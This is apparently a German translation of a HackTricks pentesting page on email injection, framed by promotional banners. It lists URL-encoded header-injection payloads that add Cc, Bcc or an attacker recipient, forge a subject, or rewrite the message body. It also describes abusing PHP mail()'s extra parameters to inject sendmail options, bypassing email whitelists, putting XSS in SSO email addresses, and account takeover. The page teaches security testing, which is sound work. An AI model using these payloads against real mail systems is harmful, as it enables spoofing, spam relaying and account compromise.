10 KiB
E-Mail-Injektionen
Verwenden Sie Trickest, um mühelos Workflows zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.
Heute Zugriff erhalten:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks beworben sehen möchten oder HackTricks im PDF-Format herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repositories einreichen.
Injizieren in gesendete E-Mail
Cc und Bcc nach dem Absenderargument einfügen
From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com
Die Nachricht wird an die Empfänger- und Empfänger1-Konten gesendet.
Argument einschleusen
From:sender@domain.com%0ATo:attacker@domain.com
Die Nachricht wird an den ursprünglichen Empfänger und das Konto des Angreifers gesendet.
Injizieren Sie das Betreffsargument
From:sender@domain.com%0ASubject:This is%20Fake%20Subject
Ändern des Nachrichtentextes
Fügen Sie einen Zeilenumbruch ein und schreiben Sie Ihre Nachricht, um den Nachrichtentext zu ändern.
From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.
Ausnutzung der PHP mail() Funktion
# The function has the following definition:
php --rf mail
Function [ <internal:standard> function mail ] {
- Parameters [5] {
Parameter #0 [ <required> $to ]
Parameter #1 [ <required> $subject ]
Parameter #2 [ <required> $message ]
Parameter #3 [ <optional> $additional_headers ]
Parameter #4 [ <optional> $additional_parameters ]
}
}
Der 5. Parameter ($additional_parameters)
Dieser Abschnitt basiert darauf, wie man diesen Parameter missbrauchen kann, wenn ein Angreifer ihn kontrolliert.
Dieser Parameter wird der Befehlszeile hinzugefügt, die PHP verwenden wird, um das Binärprogramm sendmail aufzurufen. Er wird jedoch mit der Funktion escapeshellcmd($additional_parameters)
bereinigt.
Ein Angreifer kann in diesem Fall zusätzliche Parameter für sendmail einschleusen.
Unterschiede in der Implementierung von /usr/sbin/sendmail
Die sendmail-Schnittstelle wird von der MTA-E-Mail-Software (Sendmail, Postfix, Exim usw.) bereitgestellt, die auf dem System installiert ist. Obwohl die grundlegende Funktionalität (wie -t -i -f Parameter) aus Kompatibilitätsgründen gleich bleibt, variieren andere Funktionen und Parameter je nach installierter MTA erheblich.
Hier sind einige Beispiele für verschiedene Handbuchseiten des sendmail-Befehls/Interfaces:
- Sendmail MTA: http://www.sendmail.org/~ca/email/man/sendmail.html
- Postfix MTA: http://www.postfix.org/mailq.1.html
- Exim MTA: https://linux.die.net/man/8/eximReferences
Je nach Herkunft des sendmail-Binärprogramms wurden verschiedene Optionen entdeckt, um sie zu missbrauchen und Dateien auszulesen oder sogar beliebige Befehle auszuführen. Überprüfen Sie, wie dies unter https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html erfolgen kann.
Einschleusen in den E-Mail-Namen
Ignorierte Teile einer E-Mail
Die Symbole: +, - und {} können in seltenen Fällen für Markierungen verwendet und von den meisten E-Mail-Servern ignoriert werden
Kommentare zwischen Klammern () am Anfang oder am Ende werden ebenfalls ignoriert
- Z. B. john.doe(intigriti)@example.com → john.doe@example.com
Umgehung der Whitelist
Anführungszeichen
IPs
Sie können auch IPs als Domainnamen zwischen eckigen Klammern verwenden:
- john.doe@[127.0.0.1]
- john.doe@[IPv6:2001:db8::1]
Andere Schwachstellen
Drittanbieter-SSO
XSS
Einige Dienste wie github oder salesforce erlauben es Ihnen, eine E-Mail-Adresse mit XSS-Payloads zu erstellen. Wenn Sie diese Anbieter verwenden können, um sich bei anderen Diensten anzumelden und diese Dienste die E-Mail nicht korrekt säubern, könnten Sie XSS verursachen.
Account-Übernahme
Wenn ein SSO-Dienst es Ihnen erlaubt, ein Konto ohne Überprüfung der angegebenen E-Mail-Adresse zu erstellen (wie salesforce) und Sie dann dieses Konto verwenden können, um sich bei einem anderen Dienst anzumelden, der salesforce vertraut, könnten Sie auf jedes Konto zugreifen.
Beachten Sie, dass salesforce angibt, ob die angegebene E-Mail verifiziert wurde oder nicht, sodass die Anwendung diese Information berücksichtigen sollte.
Antwort an
Sie können eine E-Mail senden mit Von: unternehmen.com und Antworten an: angreifer.com und wenn eine automatische Antwort gesendet wird, weil die E-Mail von einer internen Adresse gesendet wurde, könnte der Angreifer in der Lage sein, diese Antwort zu erhalten.
Harter Bounce-Rate
Bestimmte Dienste wie AWS implementieren eine Schwelle, die als Harte Bounce-Rate bekannt ist, die in der Regel auf 10% festgelegt ist. Dies ist eine wichtige Metrik, insbesondere für E-Mail-Zustelldienste. Wenn diese Rate überschritten wird, kann der Dienst, wie z. B. der E-Mail-Dienst von AWS, gesperrt oder blockiert werden.
Ein harter Bounce bezieht sich auf eine E-Mail, die an den Absender zurückgeschickt wurde, weil die E-Mail-Adresse des Empfängers ungültig oder nicht vorhanden ist. Dies kann aus verschiedenen Gründen geschehen, z. B. wenn die E-Mail an eine nicht existierende Adresse gesendet wurde, an eine nicht real existierende Domain oder wenn der Server des Empfängers sich weigert, E-Mails zu akzeptieren.
Im Kontext von AWS bedeutet dies, dass wenn Sie 1000 E-Mails senden und 100 davon zu harten Bounces führen (aufgrund von Gründen wie ungültigen Adressen oder Domains), dies eine harte Bounce-Rate von 10% bedeuten würde. Das Erreichen oder Überschreiten dieser Rate kann dazu führen, dass AWS SES (Simple Email Service) Ihre E-Mail-Sendeoptionen blockiert oder aussetzt.
Es ist entscheidend, eine niedrige harte Bounce-Rate aufrechtzuerhalten, um einen unterbrechungsfreien E-Mail-Dienst sicherzustellen und den Absender-Ruf zu wahren. Das Überwachen und Verwalten der Qualität der E-Mail-Adressen in Ihren Mailinglisten kann erheblich dazu beitragen, dieses Ziel zu erreichen.
Für weitere ausführliche Informationen kann die offizielle Dokumentation von AWS zur Behandlung von Bounces und Beschwerden unter AWS SES Bounce Handling konsultiert werden.
Referenzen
- https://resources.infosecinstitute.com/email-injection/
- https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html
- https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view
- https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0
Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks bewerben möchten oder HackTricks im PDF-Format herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merch
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repositories einreichen.
Verwenden Sie Trickest, um mühelos Workflows zu erstellen und zu automatisieren, die von den weltweit fortschrittlichsten Community-Tools unterstützt werden.
Erhalten Sie noch heute Zugriff:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}